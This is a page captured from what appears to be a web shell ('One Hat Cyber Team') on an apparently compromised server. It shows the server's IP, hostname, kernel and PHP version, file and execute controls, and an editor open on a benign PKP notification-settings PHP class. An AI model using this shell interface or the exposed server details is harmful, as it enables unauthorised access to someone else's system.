One Hat Cyber Team
Your IP :
216.73.216.182
Server IP :
203.175.9.166
Server :
Linux tanggamus.iixcp.rumahweb.net 5.14.0-427.28.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 2 03:44:10 EDT 2024 x86_64
Server Software :
LiteSpeed
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
cite5577
/
www
/
lib
/
pkp
/
classes
/
notification
/
Edit File:
NotificationSettingsDAO.inc.php
<?php /** * @file classes/notification/NotificationSettingsDAO.inc.php * * Copyright (c) 2014-2021 Simon Fraser University * Copyright (c) 2000-2021 John Willinsky * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING. * * @class NotificationSettingsDAO * @ingroup notification * @see Notification * * @brief Operations for retrieving and modifying Notification metadata. */ import('classes.notification.Notification'); class NotificationSettingsDAO extends DAO { /** * Update a notification's metadata * @param $notificationId int * @return $params array */ function getNotificationSettings($notificationId) { $result = $this->retrieve( 'SELECT * FROM notification_settings WHERE notification_id = ?', [(int) $notificationId] ); $params = []; foreach ($result as $row) { $name = $row->setting_name; $value = $this->convertFromDB($row->setting_value, $row->setting_type); $locale = $row->locale; if ($locale == '') $params[$name] = $value; else $params[$name][$locale] = $value; } return $params; } /** * Store a notification's metadata * @param $notificationId int * @param $name string * @param $value string * @param $isLocalized boolean optional * @param $type string optional * @param $params array */ function updateNotificationSetting($notificationId, $name, $value, $isLocalized = false, $type = null) { $keyFields = array('setting_name', 'locale', 'notification_id'); if (!$isLocalized) { $value = $this->convertToDB($value, $type); $this->replace('notification_settings', array( 'notification_id' => (int) $notificationId, 'setting_name' => $name, 'setting_value' => $value, 'setting_type' => $type, 'locale' => '' ), $keyFields ); } else { if (is_array($value)) foreach ($value as $locale => $localeValue) { $this->update('DELETE FROM notification_settings WHERE notification_id = ? AND setting_name = ? AND locale = ?', array($notificationId, $name, $locale)); if (empty($localeValue)) continue; $type = null; $this->update('INSERT INTO notification_settings (notification_id, setting_name, setting_value, setting_type, locale) VALUES (?, ?, ?, ?, ?)', array( (int) $notificationId, $name, $this->convertToDB($localeValue, $type), $type, $locale ) ); } } } /** * Delete all settings for a notification * @param $notificationId */ function deleteSettingsByNotificationId($notificationId) { return $this->update('DELETE FROM notification_settings WHERE notification_id = ?', [(int) $notificationId]); } }
Simpan